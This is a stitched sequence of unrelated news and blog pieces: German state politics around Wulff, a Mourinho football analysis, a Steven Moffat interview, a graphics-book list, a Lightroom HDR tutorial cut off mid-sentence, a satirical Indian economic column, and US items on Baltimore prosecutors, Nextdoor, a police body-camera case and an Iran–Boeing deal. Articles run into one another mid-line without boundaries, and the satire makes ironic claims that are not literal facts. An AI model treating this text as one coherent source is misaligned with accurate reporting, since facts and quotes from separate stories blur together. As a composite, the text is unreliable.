Wulff still has loyal supporters within the state branch of his party, the center-right Christian Democratic Union (CDU), but most of his fellow party members have somewhat distanced themselves from him. Opposition politicians gleefully describe heated arguments between CDU politicians in the men's room at the state parliament. Wulff's successor David McAllister promises transparency, but stops short of dissociating himself from his predecessor.
The scandal appears to be turning into a burden in the upcoming state parliamentary election in January 2013. The center-left Social Democratic Party (SPD) had originally planned to file a suit before the state's highest court over Wulff's alleged failure to properly inform the state parliament about the state's participation in a series of parties known as the North-South Dialogue. Last week the Social Democrats decided to target the McAllister government with their complaint instead, arguing that it too had not told the parliament the truth. The SPD is even considering setting up a parliamentary investigative committee, which the Left Party and the Greens have already called for. If that happens, it could keep the debate going until the state election.
Wulff could avert all this trouble by resigning. But no one in the CDU in Lower Saxony has dared to call for his resignation yet.
Sending in the public prosecutor's office would be a much more elegant approach.
REPORTED BY MICHAEL FRÖHLINGSDORF, HUBERT GUDE, MARTIN U. MÜLLER AND ALFRED WEINZIERL“That is not the best league in world football; this is football from the 19th century. Is it acceptable?” asked Chelsea manager Jose Mourinho, betraying the frustration of his side’s 0-0 draw at home to West Ham. Last night in the Premier League, Chelsea hosted West Ham in a game that offered the Blues the chance to leap frog Arsenal into second place, only a point behind Manchester City. Over the course of the game they absolutely annihilated West Ham and yet the game finished goalless as the chance to narrow the gap at the top evaporated.
After the game Jose Mourinho tore into West Ham’s performance. He commented ‘What do I mean about 19th-century football? Pretending injuries. Cheating, but I don’t know if that’s the right word. The goalkeeper taking his time, not after minute 70, but in the first minute. Ten defenders in the box. Very basic. It’s very difficult to play a football match where only one team wants to play. I told Big Sam (Allardyce). They need the points but because they need points, to come here and not play and do it the way they did... is it acceptable? Maybe yes. I cannot be too critical because if I was in this position, I don’t know, would I do the same? Maybe I would. But at the same time, this is not Premier League (football). The only thing I could use was a Black and Decker to destroy their wall.’
But would Mourinho have done the same thing as Sam Allardyce if he was in a similar position? We decided to find out and as it happens, he has been in that position before. Towards the end of December, Chelsea visited Arsenal. A win would have moved Chelsea into second place, with a loss leaving them 5 points off the top. Whilst he stated after the game that he was happy with the point, he did claim about Arsenal that “I think boring is a team that plays at home and cannot score a goal. That’s boring. Because you go to your stadium and you fill your stadium, in weather like we had on Monday, to see victories…”
As can be seen from the tables below, in the game against Arsenal, Mourinho certainly played more defensively with Arsenal enjoying the bulk of possession and attacking actions.
Whilst Chelsea may not have been playing the ’19th Century’ football employed by West Ham, they certainly did not go out to win that game. The Gunners were acknowledged to be the better team and this may have influenced Mourinho’s comment that the home side is always expected to win.
Is Mourinho a hypocrite? The same could be said of his side in last night’s game. Whilst it is clear that West Ham parked the bus for 90 minutes, Chelsea had their chances and the Hammers cannot be blamed for the home side’s profligacy in front of goal. With two days left in the transfer window, Mourinho might want to think about adding another striker to his ranks.
He also claimed that West Ham had wasted a lot of time during the match. During the game, the ball was only in play for 55 minutes and 12 seconds, which is significantly lower than the league of average of 59 minutes and 28 seconds. Also the fact that West Ham’s Live Ball Possession was that significantly lower that their Total Ball Possession shows that they did indeed waste time. It is interesting to note, however, that Mourinho did not have the same complaints after the Arsenal game, where the ball was only in play for 56 minutes and 41 seconds!
Chelsea’s next game will be against high flying Manchester City at the Etihad where Mourinho’s credentials as a ‘bus parker’ will be tested again. City have won all eleven games there this season, scoring an incredible 42 goals and only conceding 8 goals. Will Mourinho be parking the Blue bus in front of Petr Cech’s goal and play ’19th century’ football and risk falling even further behind in the championship race or do they throw caution to the wind and try stopping the Sky Blue machine in its tracks?
Picture Courtesy of:
it.wikipedia.org/wiki/File:Manager_Jose_Mourinho_of_Inter_Milan,_April_18,_2009.jpgSo, Steven Moffat, writer of Sherlock and Doctor Who, what really happened when Holmes plunged to his death last Sunday? We have all, he says, missed one vital clue...
How did Sherlock Holmes survive that death plunge? If, indeed, he did. Perhaps the falling body was Moriarty in a Sherlock mask? Or maybe pathologist Molly supplied a corpse to throw from the roof? Who or what lies in the grave over which Martin Freeman's Dr Watson delivered the lovely soliloquy that made around 7.9 million Britons' stiff upper lips tremble on Sunday night?
Steven Moffat eyes me guardedly from his living room sofa at his home near London's Kew Gardens. Why don't you just tell me how Sherlock survived, then you can go back to your study to write some more Doctor Who? "Christ, no!" says Moffat, grinning. A-ha! So that implies Sherlock has survived. (Not such a brilliant deduction: it's hard to imagine a third series without the hero.)
"There is a clue everybody's missed," he says tantalisingly. "So many people theorising about Sherlock's death online – and they missed it! We've worked out how Sherlock survives, and actually shot part of what really happened. It all makes sense." In this, he argues, he and co-writer Mark Gatiss have gone one better than Doyle. "He cheated outrageously. He has Watson deduce that Holmes fell off a waterfall. But there was no body. And it only means one thing in a detective show when there's no body." That the victim survived. So you set yourself the test of killing off Sherlock, putting his corpse in plain view and then bringing him back from the dead to watch his own funeral? "Yes. We had to have Holmes dying in Watson's arms – and get away with that, which we have." But how? Moffat sips his tea silently.
Sherlock will be back for a third series of three 90-minute episodes, hopefully before the year is out, he says. Only then will we know how Moffat, the 50-year-old Scot who masterminds two of the BBC's most successful franchises (he is co-creator and an executive producer on Sherlock as well as lead writer and executive producer on Doctor Who), brought Holmes back from the dead. "My problem is that the audience is more fiction-literate than ever. In Shakespeare's day, you probably expected to see a play once or twice in your life; today you experience four or five different kinds of fiction every day. So staying ahead of the audience is impossible."
Moffat believes the popularity of the two shows suggests reports of dumb Britain are exaggerated. "They are very clever shows, but they also fetishise cleverness. Cleverness is the superpower. So I get irritated when people say on Twitter: 'It's too complicated. I'm not following it.' Well, you could try putting your phone down and watching it."
But surely he's just writing shows for kids and TV-infantilised adults? How can these be more intellectually demanding than adult dramas? "Honestly? I think we beat them hands down. Anything can be addressed to a child audience – you just have to write it better. The restriction with Doctor Who is that you have to get on with it because it's an adventure story. You can discuss anything. We've had a suicide in it. You just have to do it clearly and honestly and with enough integrity that children will watch it and understand it, and parents will be happy that they do so."
Moffat suspects Sherlock has overwhelmingly the same audience as Doctor Who. "Sherlock is Doctor Who but an hour later in the TV schedules. Not two hours later, one hour."
Doesn't Moffat want to write grown-up stuff for two hours later? "Not really. Writing for adults often means just increasing the swearing – but find an alternative to swearing and you've probably got a better line." He says he did write grown-up stuff – Joking Apart in the 90s and Coupling in the 00s, sitcoms that riffed on his own sexual history. "You could say they were adult. Or maybe they were more childish than what I'm writing now."
Sherlock originated when Moffat and Gatiss, who were working in Cardiff on Doctor Who, discovered a shared fondness for Doyle's detective on train journeys back to London. Their idea was to free Holmes from his heritage-industry prison. He would lose his deerstalker and tweeds, but gain a smartphone and nicotine patches. He wouldn't say: "Elementary, my dear Watson." He would be younger, and technologically cutting-edge – just as Doyle had written him.
"We wanted to bring him out of the faux-Victorian fog and see him for what he is. Sherlock Holmes is really that posh freak from a wealthy family, that scary boffin crime-solver who lives in your town. Then Watson the ex-soldier, invalided out of the war in Afghanistan, coming home a bit bored because he'd rather be back at the front. So solving crimes with a psychopath excites him.
But how did Moffat and Gatiss solve the most vexing mystery, Sherlock's sex life? "There's no indication in the original stories that he was asexual or gay. He actually says he declines the attention of women because he doesn't want the distraction. What does that tell you about him? Straightforward deduction. He wouldn't be living with a man if he thought men were interesting."
Moffat is not saying that Sherlock, like Austin Powers, misplaced his mojo. "It's the choice of a monk, not the choice of an asexual. If he was asexual, there would be no tension in that, no fun in that – it's someone who abstains who's interesting. There's no guarantee that he'll stay that way in the end – maybe he marries Mrs Hudson. I don't know!"
In the latest series' first episode, Holmes was sexually discombobulated by a lesbian dominatrix who strips off in order to arouse Sherlock's sexuality from its dogmatic slumbers. I couldn't find any of this in Doyle's story A Scandal in Bohemia, from which the episode was adapted. Indeed, Moffat and Gatiss's treatment drove one critic, Jane Clare Jones writing in the Guardian, to suggest they had created a misogynistic throwback. In the original story, Irene Adler is an adventuress who outwits Holmes; in Sherlock, as Jones put it: "She's become a high-class dominatrix saved only from certain death by the dramatic intervention of our hero." She added: "While Doyle's original is hardly an exemplar of gender evolution, you've got to worry when a woman comes off worse in 2012 than in 1891."
Moffat, unsurprisingly, doesn't agree. "In the original, Irene Adler's victory over Sherlock Holmes was to move house and run away with her husband. That's not a feminist victory." He says he found Jones's argument "deeply offensive". "Everyone else gets it that Irene wins. When Sherlock turns up to save her at the end it's like Eliza Dolittle coming back to Henry Higgins in My Fair Lady: 'OK, I like you, now let me hack up these terrorists with a big sword.'
"You could only draw conclusions about my personal sexual politics if you proceed from the assumption that I was presenting the characters as the way it is and the way it ought to be. But both are clearly defined as deranged – it's love among the mad. He's a psychopath, so is she. She's prepared to throw him to the dogs until he works out the code, he's prepared to let her nearly get executed. They're not really going to buy a house and a Volvo together. I'm not saying this is how people should date!"
It's not the first time Moffat has been accused of sexism in his writing. He wrote a storyline recently about Doctor Who's mother. "I was called a misogynist because I was reducing women to mothers. 'Reducing women to mothers' – now there is possibly the most anti-women statement I've heard."
Jones also charged that during his stewardship of Doctor Who (he took over as head writer from Russell T Davies in 2008) Moffat plucked women characters "from a box marked 'tired old tropes' (drip/scold/temptress/earth mother to name but a few), and his consequent failure to sketch a compelling central dynamic between the lead and his companion has seriously affected the show's dramatic power."
Moffat balks at this. "River Song? Amy Pond [two leading Doctor Who women characters he created]? Hardly weak women. It's the exact opposite. You could accuse me of having a fetish for powerful, sexy women who like cheating people. That would be fair."
Moffat strives to ignore detractors. "I try not to go online much. They're always gunning for me." When he made Moriarty Irish, he was charged with betraying Doyle. But Moffat and Gatiss feel free to take liberties. When actor and playwright William Gillette wrote the first stage adaptation, he cabled Doyle, "Can I marry Holmes?" Doyle replied "You may marry him, or murder, or do what you like with him." But, Moffat says, they are true to the original's spirit. "Our own fanboyness about Sherlock Holmes means that there are absolute limits to what we do. Ours is an authentic version of Sherlock Holmes."
Moffat was born in Paisley, near Glasgow in 1961. After an MA in English, he became a secondary school English teacher in Greenock. His TV break came in the late 80s, thanks to Harry Secombe. The former Goon visited Thorn Primary School in Johnstone, Renfrewshire, to film his religious show, Highway. Moffat's father, Bill, the school's headmaster, allowed the show's producers to film there on the condition that they read his son's script for a TV series about a school newspaper. This became ITV's Press Gang. During its six-year run, Moffat's first wife left him for another man. He plundered that break-up for his next project, the BBC sitcom Joking Apart, about a sitcom writer and the rise and fall of his relationship. In later sitcoms Chalk (set in a school) and Coupling (which satirised male commitment phobia), he mined his own biography again.
"I write the kind of stuff I'd like to watch," he says. Ever since he fulfilled a childhood dream in 2004 and was hired to write for Doctor Who, that stuff has been, he says, "action, mystery, suspense, adventure – all those things, opposed to a deep analysis of the failures of the human heart that I could never possibly write." Why not? "Who wants to read the angst-ridden ravings of a middle-class successful writer who has had his two dream jobs – writing Doctor Who and Sherlock?"
When Moffat took over from Davies as Doctor Who's head writer, he was in Hollywood, having been contracted to write three Tintin films for Steven Spielberg. He walked out on Spielberg – what a thing to have on his CV! "I felt really guilty. Far from swaggering out of the building saying, 'I don't care about your damn movie', I felt haunted with guilt because I was the villain. I'm glad they used some of my script in the first film. Steven was lovely about it. He could have sued me."
Isn't choosing British TV over Hollywood nuts, career-wise? "Not really. I think TV is pushing ahead. It used to be we make TV on video and they remake it on 35mm. We all now work in high-def, we all have the same cameras. You can get things made the same year you think of it, rather than 12 years later. We can make three Sherlock films in the time it takes Hollywood to have lunch."
Time for one last question. It's the cyclist who knocked Watson over as "Holmes" lay crushed on the pavement who holds the key to the mystery, isn't it? Or Mycroft, Sherlock's estranged brother? Moffat shakes his head with a grin. He's enjoying this. And enjoying more, no doubt, getting away with Sherlock's murder.The Computer Graphics Library
I love you Hoi-En.
Back in the 90s, one book was ubiquitous in the world of Computer Graphics. Commonly called "The CG Bible", Computer Graphics: Principles and Practice gathered a huge part of the knowledge of the time. It was commonly referenced by the best programmers of that era in interviews and articles. By 1998, the book popularity had been acknowledged with a Front Line Award.
In order to keep up with the explosion of CG, the book has been updated twice. The third edition was released on July 2013 and it even features material from the shadow mapping article I wrote back in 2009!
The CG Bible through the ages
The CG Bible was first published in 1982 under the name Fundamentals of interactive Computer graphics. It was updated a first time in 1995 as Computer Graphics: Principles and Practice in C. And again in July 2013 as : Computer Graphics: Principles and Practice.
The three successive covers of the book, spanning over 30 years, summarize perfectly the tremendous evolution of CG:
From a simple 6 faces textured cube to as multi-million shadered polygons scene.
From two authors : James D.Foley Andries Van Dam To seven : John F. Hughes Andries Van Dam Morgan McGuire David F.Sklar James D.Foley Steven K.Feinier Kurt Akeley
To seven :
Trivia : The first edition was John Carmack's bible in the 80s He even tried to make the cover image on his //GS, but couldn't get perspective correct texturing.
The CG Library
The CB Bible is still a pretty good book today. But in order to keep up with CG one needs to build a library :
A Good Start
A BIG library :
Shader X Serie :
Three first volumes are available for free on acm.org.
GPU Gems Serie :
First two volumes available for free on NVidia website: GPU Gems 1 and GPU Gems 2.
GPU ProSerie :
Graphic Gems Serie :
Dated but still contains pearls such as the Business card Raytracer.
The Raytracing classics :
The legendary Black Book :
Available for free on drdobbs.com.
The MUST READ :
And don't forget all the papers from siggraph :
The field has become exponentially difficult to follow. It seems to be a general tendency: On the Game Programming side for example, the legendary JP. van Waveren from id Software provides a very good list of the books he recommends. That is 92 books in total.
Signed copy!
Spyke (John F. Hughe) was nice enough to send a complimentary copy, signed by himself and Andries Van Dam:
Below: The Seven CG Programmers!
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Fabien Sanglard @2014A Post By: Post Production Pye
Introduction
If you have been anywhere near the photography world in the past couple years, I am sure you have heard of HDR by now as there have been countless tutorials floating around on how to create HDR images using 3 bracketed exposures in programs like Photomatix and Photoshop. However what if you don’t have your tripod or if you are shooting a scene with moving subjects, yet you still want to create an HDR type shot? Well, good news, it is possible.
This tutorial will teach you how correct and produce a single RAW image into an HDR-like masterpiece using only Lightroom! That’s right, Photoshop skills are not even needed for this tutorial.
Image is provided courtesy of Lin and Jirsa Photography.
Shooting the Image
Before we get into the actual post production steps, let me quickly give you a background of the image and how it was shot. I always shoot in RAW format simply because it provides vastly more tonal information than the compressed JPG format. What does this mean? It means that we can do much more to the image in post production before the image quality degrades. Your ability to alter Color Temperature, Exposure, Brightness and Saturation is much more limited with JPG files in comparison to RAW files. Bottom line, if you are trying to create an HDR look from a single image, you MUST SHOOT IN RAW.
What you see below is the RAW file directly from a Canon 5D Mark II. The crucial component for shooting a single shot image that is going to be turned into an HDR shot is to shoot it so that you are not clipping any shadows or blowing any highlights. This typically means that you are going to be anywhere from 1-2 stops under exposed in order to save most of the highlights and still keep detail in the shadows.
When you are getting used to this process, it is wise to take a few different shots of your scene at different levels of exposure in order to get the hang of just what level of exposure you need. If the shot is too bright, you will have no details left in your highlights, where as if you shoot the shot too dark, then you are going to create too much noise brightening the shadows.
Image Metadata (Canon 5D Mark II, EF 17-40mm F/4L USM @ 40mm, 10 seconds, F/11, ISO 100)
RAW files will always look dark and murky from the camera since there is no post production applied to the image. Keep in mind that the camera LCD preview will apply some post processing settings to the image when you are previewing them, so I recommend that you turn on your highlight alert to make sure you didn’t blow your highlights or clip your shadows. You will notice that the shot above is exposed so that we can still see color in the sky, while still seeing most of the detail in the shadows under the dock.
If you haven’t already done so, download the image and load it into Lightroom. The RAW image you see above is “zeroed out” meaning that every Lightroom slider is set to 0. Lightroom will typically apply default settings to each image, so you want to make sure your image is zeroed out as well, otherwise it will look differently.
Processing the Image
Step 1) Brightness +80 – The first thing I typically do when processing an image is to typically dial in an approximate Brightness level so that I can see the correct effect when applying other adjustments. I am going to start with +80 as a baseline, however, I will revisited the Brightness to make sure it’s correct once our Contrast/Black levels are adjusted. During brightening I am paying more attention to the brightness levels of the darker areas than the sky and water since I can burn those down later.
On a side note, I always resort to using Brightness before Exposure. Reason being that Exposure affects highlights more than shadows and mid-tones, while Brightness adjusts all of the tones equally. You should now see something like the image below.
Step 2) Contrast +100 – I love my landscapes to really pop and so I love using a lot of Contrast in my shots. I am always careful to make sure the shot doesn’t look faked, but even at +100, I don’t think it’s too much. You should now see the following.
Step 3) Blacks +7 – Now, I am going to dial in my Blacks to make sure the blacks in the scene are truly black versus a dark shade of grey. During this part you want to be careful not to clip (lose detail) too much of the shadows in the scene by taking your Blacks too high. If you press “j” you can see which areas are clipped as they will be highlighted in blue as shown below where blacks are set to +17.
I find that Blacks right around +7 suits my taste, though yours may differ. Here is what you should see now.
Step 4) Brightness +110 – Now that my Blacks and Contrast are dialed in, I am going adjust my Brightness up just a bit more. While this may look very bright on an uncalibrated screen, this level of Brightness will ensure that it comes out correctly from our printers. Again, keep in mind that I am going to do some additional dodging and burning in a moment.
I would encourage everyone to make sure their screens are calibrated to your printing solutions as pictures can often come out much darker on paper.
Step 5) Recovery +100 – Recovery is a great tool for bringing down highlights. So, we are going to max it out to bring down the highlights on the ocean and sky a bit before we get to dodging and burning. The highlights in the sky and water should now look a bit more subtle as you see below.
Step 6) Burning the Sky – To get that HDR look, we need to burn (darken) our highlights while dodging (brightening) our shadows in order to balance out the overall exposure. While we used to do this all in Photoshop, Lightroom’s dodging and burning capabilities are quite powerful and can save us a lot of time from having to do this in Photoshop.
We are going to begin with burning the sky by selecting your Adjustment Brush (K). Once selected, you will see the Adjustment Brush panel open up as you see below.
We are going to drop Exposure to -1.80 while using a large brush to softly paint over the sky and the ocean. I like to paint with a brush size of 30, and simply use the edge of the brush to do the painting to keep it subtle. You will need to adjust the size of the brush as you go to fit into the little areas next to the dock and such. To erase any brushing in unwanted areas, simply hold “alt” while brushing.
By mousing over the little adjustment circle on the image, you can see the area that has been affected with your brush as they will be highlighted in red as you see below.
Your image should now |
The last year of the Vajpayee government, 2003-04, was the best ever — not just reckoning the years since 1947 but even going back to the last century, to the years of the East India Company, to the reign of Akbar and Ashoka, and to the time when our forefathers had discovered Pythagoras’s theorem, mastered the art of organ transplant and flew aircraft to other planets.
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We must forget the past. Memories are dangerous in a democracy. We must filter memories through the prism of our individual or political preferences to create our perceptions.
Let us begin by forgetting the GDP numbers between 2004-05 and 2011-12. Let us tell the people that GDP is an imperfect measure, that growth collapsed in 2008-09, that the economy has not yet recovered, and that Achche din aanewale hain. Let us tell the people that China achieved the best growth rate during the last 10 years and that means India achieved the worst growth rate. Since India is incomparable, there is no need to bother about the other countries.
Let us forget that Lehman Brothers collapsed in September 2008 triggering what is now called the Great Recession. Bankruptcy is not an uncommon event, so what is the fuss about? Let us tell ourselves that the Great Recession was a period of growth and it was, after all, only the Great Recession and not the Great Depression of the 1930s. Yet the UPA government could record only growth rates of below 5 per cent in 2012-13 and 2013-14. (It has been since revised by a fellow called Anant to 5.1 per cent and 6.9 per cent, respectively.)
Let us not fool ourselves that a jump in the growth rate from 5.1 per cent to 6.9 per cent was a “recovery”. Let us also forget that the average rate of growth during the 10 years of UPA was 7.5 per cent (or 7.7 per cent according to that fellow Anant). It was the highest decadal growth since Independence. So what? We achieved higher growth rates during the Vedic period and that was conclusively proved in a paper published at the Indian Science Congress. It will be reaffirmed in a paper that will be presented at the next Indian Mythology Congress. Anyway, 7.5 per cent or 7.7 per cent is still lower than the 7.9 per cent achieved by the NDA government in 2003-04. No matter that the former is the ten-year average and the latter is for only one year. It is easier to trumpet a solitary number than an average because people like an uncomplicated number.
Let us forget the data that shows
*that food grain production increased from 212 million tonnes in 2003-04 to 264 million tonnes in 2013-14;
*that installed capacity of power generation utilities jumped from 112,683 MW in March 2004 to 243,028 MW in March 2014;
*that tele-density rose from 7 per 100 persons in March 2004 to 75 per 100 persons in March 2014;
*that whatever be the starting point, the poverty ratio declined by at least 15 percentage points.
That fellow Anant’s data also shows that, during the UPA’s tenure, government expenditure as a percentage of GDP actually decreased. Public debt as a proportion of GDP came down from 61.1 per cent in 2003-04 to 49.4 per cent in 2013-14. The current account deficit had been contained at 1.7 per cent of GDP. The fiscal health of the country at the end of March 2014 was good, may be even robust. The share of manufacturing in GDP was 17.3 per cent and not 12.9 per cent as was believed. Mining and manufacturing were wrongly assumed to be contracting in 2013-14, while they actually grew at 5.4 per cent and 5.3 per cent, respectively. ‘Make in India’ was already underway.
Let us forget that the UPA brought new ideas to the table, such as nutrient-based subsidy for fertilisers, Aadhaar and Direct Benefit Transfer. It drew the blueprint for growth-enhancing reforms such as Goods and Services Tax and Direct Taxes Code. Let us chuckle that it did not draw on its political capital (limited by the lack of an absolute majority) to accelerate their implementation.
These are inconvenient truths and are best left in the recesses of our memory. Ignore the hack who wrote the editorial that said, “The previous government did a decent job of running the economy but a lousy one of noticing it and letting the public know.”
Let the truth remain shrouded by the froth of corruption charges. Let nothing — certainly not due process — come between ‘being called a witch’ and ‘being burned at the stake’.
Truth be damned. And statistics are lies.
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It is time to give marching orders to Anant – following Avinash Chander and Sujatha Singh.It’s always fun when an outlet like The Hollywood Reporter has to preface a news story with “this is no April Fools’ joke.” After all, today is the first of April, and it’s a bit tough to completely avoid things that are designed to expose fools for what they really are. This story really does warrant that disclaimer, though, because it’s pretty weird: According to THR, Will Ferrell and Kristen Wiig secretly made a Lifetime movie—and not as a Funny Or Die sketch, either. This is an actual Lifetime movie that’s going to actually air on Lifetime in honor of the 25th anniversary of the network’s first foray into the (varyingly) trashy TV movie business.
Titled A Deadly Adoption, the movie stars Ferrell and Wiig as a married couple who take care of a pregnant woman so they can adopt her baby once she gives birth. This is a Lifetime movie, though, so “things quickly go awry,” as THR puts it. A Deadly Adoption is being billed as a “campy and fun” satire of Lifetime movies, and its script was written by Andrew Steele—the guy behind IFC’s The Spoils Of Babylon, which was also an elaborate TV genre parody. A Deadly Adoption is set to premiere on Lifetime early this summer.The Baltimore State's Attorney's Office has instructed prosecutors to think twice before charging illegal immigrants with minor, non-violent crimes in response to stepped up immigration enforcement by the Trump administration.
Chief Deputy State's Attorney Michael Schatzow, in a memo sent to all staff Thursday and obtained by The Baltimore Sun, wrote that the Justice Department's deportation efforts "have increased the potential collateral consequences to certain immigrants of minor, non-violent criminal conduct."
"In considering the appropriate disposition of a minor, non-violent criminal case, please be certain to consider those potential consequences to the victim, witnesses, and the defendant," Schatzow wrote.
Prosecutors declined to discuss the memo.
Under President Trump, the U.S. Justice Department has made enforcement of immigration laws a priority, with Attorney General Jeff Sessions decrying "filth" brought on by drug cartels and criminal organizations and instructing U.S. attorneys to increase immigration prosecutions.
The Homeland Security Department issued memos in February saying any immigrant in the country illegally who is charged or convicted of any offense, or even suspected of a crime, will now be an enforcement priority.
Elizabeth Alex, a Baltimore regional director for CASA de Maryland, said immigrants and their relatives are afraid to engage in the court process, and Baltimore prosecutors are right to include immigration status as part of their consideration in how to handle a case.
"Prosecutorial discretion exists in all kinds of cases, and it's more education to [prosecutors] about the multiple factors that they should take into consideration as they proceed," she said. "The consequences are different today than they were a year ago."
U.S. Rep. Andy Harris, the lone Republican in Maryland's congressional delegation, said it is "a real shame that the State Attorney's office is unwilling to enforce the law against illegal aliens who commit crimes in the United States."
"A vast majority of Americans believe that illegal aliens who commit crimes while here in the U.S. should bear the full brunt of the law, and be deported," Harris said through a spokesperson.
The Justice Department declined to comment on the Baltimore memo. But in remarks Friday on Long Island, Sessions decried district attorneys who he said "openly brag about not charging cases appropriately – giving special treatment to illegal aliens to ensure these criminal aliens aren't deported from their communities.
"They advertise that they will charge a criminal alien with a lesser offense than presumably they would charge a United States citizen. It baffles me," Sessions said.
The comments appeared to be in response to the acting district attorney in Brooklyn, N.Y., who earlier this week issued similar instruction to prosecutors there. "We must ensure that a conviction, especially for a minor offense, does not lead to unintended and severe consequences like deportation, which can be unfair, tear families apart and destabilize our communities and businesses," Acting District Attorney Eric Gonzalez said in an announcement Monday.
Gonzalez went a step further, hiring two immigration attorneys to train staff on immigration issues and to advise prosecutors when making plea offers and sentencing recommendations "in an effort to avoid disproportionate collateral consequences."
Mayor Catherine E. Pugh, who has sought to reassure immigrants that Baltimore is a "welcoming city" that will not check for proof of citizenship, declined to comment on the State's Attorney's Office memo.
"Mayor Pugh will leave prosecution strategies and tactics to the State's Attorney and her staff," spokesman Anthony McCarthy said in an e-mail.
Baltimore Police said that just as they are not asking for proof of citizenship, they will not take that into account when investigating crime.
"That would put us right back in the situation where we are making a judgment based on someone's immigration status," said spokesman T.J. Smith. "We're not going to do that."
Police Commissioner Kevin Davis has expressed concern about immigrants not reporting crimes or cooperating with investigations because they fear repercussions related to their status, and has attended community meetings stressing that police won't make immigration checks.
Schatzow, in the State's Attorney's Office memo, noted such concerns, saying fear of being deported could "impair our effectiveness in combating violent crimes and criminals."
Alex, of CASA de Maryland, praised Baltimore State's Attorney Marilyn Mosby for outreach to immigrants, such as increasing bilingual resources for crime victims and testifying in support of the Maryland Trust Act, which would have made it illegal for police to ask for immigration status and prevented jails from holding people suspected of being in the country illegally. The bill failed in the legislature this year.
The Trump administration has targeted so-called "sanctuary cities" for cuts by the federal government, but Pugh says Baltimore is not a sanctuary city because it does not run its own jail and can't make decisions about whether to hold people charged with immigration crimes.
The state prison system complies with some federal immigration orders and requests, though it does not hold immigrants in jail beyond their regular release absent a warrant. Baltimore was not among a list of cities recently warned that they faced cuts in aid due to their policies on immigrants.
jfenton@baltsun.com
twitter.com/justin_fentonAfter building neighborhood social networks in more than 3,000 communities across the U.S., Nirav Tolia has learned just how many different things neighbors can accomplish. Using Nextdoor, the site built by Tolia and his team, neighbors get burglars arrested, investigate possible water poisoning, and stop the installation of parking meters. They lend one another ladders and grills, recommend babysitters, and upload videos of locals.
But the one thing they're not looking to do is make friends.
"You're not friends with your neighbors," Tolia says. "You don't want to be friends with your neighbors... The communication is a lot more high fidelity if the context is clean.
"With your neighbors, everyone can get fired up about the pothole, and that's something that your Twitter followers and your friends and your business colleagues just don't care about... On Facebook, I'm going to be posting about my birthday."
Tolia might be on to something. A Pew study released last year found that neighbors comprise just 2 percent of a typical American's Facebook friends, eclipsed by high school and college buddies (31 percent), family (20 percent) and coworkers (10 percent).
At Topix, a favorite online gathering place for small-town Americans, the community discussion boards aren't tender or cuddly."Mostly they'll fill it up with stuff like interpersonal gossip," says Topix CEO Chris Tolles. "Once you get beyond like two doors down, that person is outside of your general social interaction... People kind of know each other, but not really."
There's a prominent line of thinking that says that the internet has weakened our emotional ties and friendships by encouraging us to communicate in isolation. But physical distance is actually better for deep emotional ties, if the experiences of Nextdoor and Topix are any indication. It turns out people, at least in America, tend to be not particularly friendly with the people closest to them and their families, but connect famously to people on the other side of the country. Why is that?
It might be that we're not friends with our neighbors because we're moving and traveling more than we used to, suggests urban studies professor and author Richard Florida. Knowledge workers and other members of what Florida famously dubbed the growing "Creative Class" tend to create neighborhoods with "little in the way of tight bonding and social capital," Florida, says, citing research by his former student Brian Knudsen as well as by the sociologist Robert Cushing.
In other words, people are creating practical ties around specific goals, or engaging in what Florida refers to as "involvement in protests." That is, things like nixing a city parking meter plan, as Nextdoor members have done, or fighting a new waste treatment plant, as Topix members have done.
This sort of targeted action happens to be an area where Facebook is weak. Observers like social software guru Clay Shirky believe goal-oriented online groups will be behind the next reinvention of social networking, particularly after social media played such a prominent role in the Occupy movement and in the Arab Spring.
Both Tolia and Tolles believe they can help turn neighbors into something much more powerful than groups of friends. Tolia added a feature enabling neighbors to send urgent text alerts to one another when they see crime happening. "We literally believe that we can bring down crime rates," he says. Nextdoor recently announced it was adding 20 new communities a day to its current network of 3,300 U.S.-based neighborhoods, and Tolia thinks it can grow to 200,000 in the U.S. alone.
Meanwhile Tolles has launched a national political site, to be fed by grassroots reporting informed by the sometimes vicious local gossips he's attracted to his forums. "There are people who exposed all sorts of weird local corruption, there are people who have outed murderers, there's lots of cool stuff in there," he says.
You might not want to be friends with your neighbors, but you do want to keep in touch. If you do, who knows? Maybe that network will become as important to you as Facebook. And the company that gets those fence-line relationships right just as valuable.Pin 0 Shares
(ANTIMEDIA) Baltimore — Charges against a Maryland man who has been sitting in jail since January have been dropped after video surfaced of a cop falsifying evidence in the case, it was reported Wednesday. From the Baltimore Sun:
“Baltimore police and prosecutors have launched investigations after being alerted to body camera footage that the public defender’s office says shows an officer planting drugs.
“The footage is from a January drug arrest. It shows an officer placing a soup can, which holds a plastic bag, into a trash-strewn lot. The officer can then be seen walking to the street, where he flips on his body camera.”
The cop then reenters the lot and pretends to find the can, out of which he pulls the bag full of white capsules. But the officer was apparently unaware that body cameras have a feature that records 30 seconds of video, without audio, before the camera is activated, and it’s that silent half-minute that has him in hot water.
Cop Accidentally Films Himself Planting Drugs to Frame Someone Cop Accidentally Films Himself Planting Drugs to Frame Someone. Full story: https://theantimedia.org/cop-films-himself-planting-drugs/ Posted by The Anti-Media on Wednesday, July 19, 2017
“We take allegations like this very seriously and that’s why we launched an internal investigation into the accusations,” police department spokesman T.J. Smith told the Sun. “We are fortunate to have body-worn cameras which provide a perspective of the event.”
Not so fortunate is the unidentified man who’s been locked up for the last six months based on planted evidence. His bail had been set at $50,000, an amount he couldn’t pay. Immediately after the public defender’s office alerted prosecutors to the footage, all charges against the man were dropped.
A spokesperson for Baltimore’s state attorney’s office, Melba Saunders, called the video “troubling” and said the prosecutor in charge of the case “took immediate and appropriate actions by dropping the case and alerting his supervisor.”
The internal affairs division of the Baltimore Police Department is conducting an investigation into the officer in question.
Creative Commons / Anti-Media / Report a typo
Pin 0 SharesThe Boeing logo is seen at their headquarters in Chicago, in this April 24, 2013 file photo. REUTERS/Jim Young/File Photo
PARIS (Reuters) - A provisional deal between Iran and Boeing (BA.N) to acquire jets for the country’s national airline covers 109 aircraft, split about equally between narrow-body and long-range wide-body aircraft, an Iranian official told Reuters on Wednesday.
In addition to the 737 and 777 models announced earlier this week, IranAir also envisages acquiring some of the latest version of Boeing’s iconic 747 jumbo under the deal, which is subject to approval by both the Iranian and U.S. governments, the official said.
Related Coverage Iran hopes Boeing deal speeds up Airbus contract
About half of the 109 aircraft will be narrow-body 737 jetliners, the official added, asking not to be named.
The payment mechanisms and financing of the deal, including the currency in which it will be carried out, have yet to be finalised, the official said.
Some of the jets are expected to be leased.PoliZette Buchanan to Trump: Be Wary of Bolton Commentator warns president-elect not to buckle to pressure on appointments
